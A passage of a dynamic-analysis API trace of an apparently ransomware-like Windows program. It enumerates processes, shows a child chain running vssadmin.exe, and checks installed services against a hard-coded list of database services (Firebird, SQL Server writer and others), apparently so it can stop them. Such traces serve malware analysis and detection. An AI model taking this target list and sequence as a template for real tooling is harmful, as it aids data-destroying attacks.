	[0095.480] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0095.480] lstrlenW (lpString="electron.exe") returned 12
	[0095.480] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0095.481] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0095.481] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0095.482] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0095.482] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0095.483] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0095.483] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0095.484] lstrlenW (lpString="pointer.exe") returned 11
	[0095.484] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0095.487] lstrlenW (lpString="gd logos.exe") returned 12
	[0095.487] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0095.488] lstrlenW (lpString="algebra validity.exe") returned 20
	[0095.488] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0095.489] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0095.489] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0095.492] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0095.492] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0095.493] lstrlenW (lpString="p.exe") returned 5
	[0095.493] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0095.494] lstrlenW (lpString="cmd.exe") returned 7
	[0095.494] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0095.495] lstrlenW (lpString="conhost.exe") returned 11
	[0095.495] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0095.496] lstrlenW (lpString="vssadmin.exe") returned 12
	[0095.496] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0095.497] CloseHandle (hObject=0x1c4) returned 1
	[0095.497] Sleep (dwMilliseconds=0x1f4) 
	[0096.191] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0b00
	[0096.192] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0096.193] GetLastError () returned 0xea
	[0096.193] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x4ee030
	[0096.194] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4ee030, cbBufSize=0x11e4, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4ee030, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0096.194] CloseServiceHandle (hSCObject=0x35d0b00) returned 1
	[0096.194] lstrlenW (lpString="Appinfo") returned 7
	[0096.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0096.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0096.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0096.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0096.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0096.195] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0096.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0096.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0096.195] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0096.195] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0096.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0096.195] lstrlenW (lpString="AudioSrv") returned 8
	[0096.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0096.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0096.195] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0096.195] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0096.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0096.195] lstrlenW (lpString="BFE") returned 3
	[0096.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0096.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0096.195] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0096.195] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0096.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0096.195] lstrlenW (lpString="CryptSvc") returned 8
	[0096.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0096.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0096.195] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0096.196] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0096.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0096.196] lstrlenW (lpString="CscService") returned 10
	[0096.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0096.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0096.196] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0096.196] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0096.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0096.196] lstrlenW (lpString="DcomLaunch") returned 10
	[0096.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0096.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0096.196] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0096.196] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0096.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0096.196] lstrlenW (lpString="Dhcp") returned 4
	[0096.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0096.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0096.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0096.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0096.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0096.196] lstrlenW (lpString="Dnscache") returned 8
	[0096.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0096.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0096.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0096.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0096.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0096.199] lstrlenW (lpString="DPS") returned 3
	[0096.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0096.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0096.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0096.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0096.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0096.200] lstrlenW (lpString="eventlog") returned 8
	[0096.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0096.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0096.200] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0096.200] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0096.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0096.200] lstrlenW (lpString="EventSystem") returned 11
	[0096.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0096.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0096.200] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0096.200] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0096.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0096.201] lstrlenW (lpString="gpsvc") returned 5
	[0096.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0096.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0096.201] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0096.201] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0096.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0096.201] lstrlenW (lpString="iphlpsvc") returned 8
	[0096.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0096.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0096.201] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0096.201] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0096.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0096.201] lstrlenW (lpString="LanmanServer") returned 12
	[0096.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0096.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0096.201] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0096.201] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0096.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0096.201] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0096.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0096.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0096.202] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0096.202] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0096.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0096.202] lstrlenW (lpString="lmhosts") returned 7
	[0096.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0096.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0096.202] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0096.202] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0096.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0096.202] lstrlenW (lpString="MMCSS") returned 5
	[0096.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0096.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0096.202] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0096.202] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0096.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0096.202] lstrlenW (lpString="MpsSvc") returned 6
	[0096.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0096.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0096.202] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0096.203] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0096.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0096.203] lstrlenW (lpString="Netman") returned 6
	[0096.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0096.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0096.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0096.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0096.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0096.203] lstrlenW (lpString="netprofm") returned 8
	[0096.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0096.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0096.203] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0096.204] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0096.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0096.204] lstrlenW (lpString="NlaSvc") returned 6
	[0096.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0096.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0096.204] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0096.204] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0096.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0096.204] lstrlenW (lpString="nsi") returned 3
	[0096.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0096.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0096.204] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0096.204] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0096.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0096.204] lstrlenW (lpString="PcaSvc") returned 6
	[0096.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0096.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0096.204] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0096.204] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0096.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0096.204] lstrlenW (lpString="PlugPlay") returned 8
	[0096.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0096.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0096.204] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0096.204] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0096.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0096.205] lstrlenW (lpString="Power") returned 5
	[0096.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0096.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0096.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0096.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0096.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0096.205] lstrlenW (lpString="ProfSvc") returned 7
	[0096.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0096.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0096.205] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0096.205] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0096.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0096.205] lstrlenW (lpString="RpcEptMapper") returned 12
	[0096.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0096.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0096.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0096.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0096.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0096.206] lstrlenW (lpString="RpcSs") returned 5
	[0096.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0096.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0096.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0096.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0096.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0096.206] lstrlenW (lpString="SamSs") returned 5
	[0096.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0096.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0096.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0096.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0096.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0096.206] lstrlenW (lpString="Schedule") returned 8
	[0096.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0096.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0096.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0096.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0096.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0096.206] lstrlenW (lpString="SENS") returned 4
	[0096.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0096.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0096.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0096.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0096.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0096.207] lstrlenW (lpString="ShellHWDetection") returned 16
	[0096.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0096.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0096.207] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0096.207] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0096.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0096.207] lstrlenW (lpString="Spooler") returned 7
	[0096.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0096.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0096.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0096.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0096.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0096.207] lstrlenW (lpString="SysMain") returned 7
	[0096.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0096.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0096.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0096.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0096.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0096.207] lstrlenW (lpString="Themes") returned 6
	[0096.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0096.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0096.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0096.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0096.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0096.208] lstrlenW (lpString="TrkWks") returned 6
	[0096.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0096.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0096.208] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0096.208] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0096.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0096.208] lstrlenW (lpString="UxSms") returned 5
	[0096.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0096.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0096.208] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0096.208] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0096.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0096.208] lstrlenW (lpString="WdiServiceHost") returned 14
	[0096.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0096.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0096.208] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0096.208] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0096.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0096.208] lstrlenW (lpString="WdiSystemHost") returned 13
	[0096.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0096.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0096.208] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0096.208] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0096.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0096.208] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0096.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0096.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0096.209] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0096.209] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0096.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0096.209] lstrlenW (lpString="Winmgmt") returned 7
	[0096.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0096.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
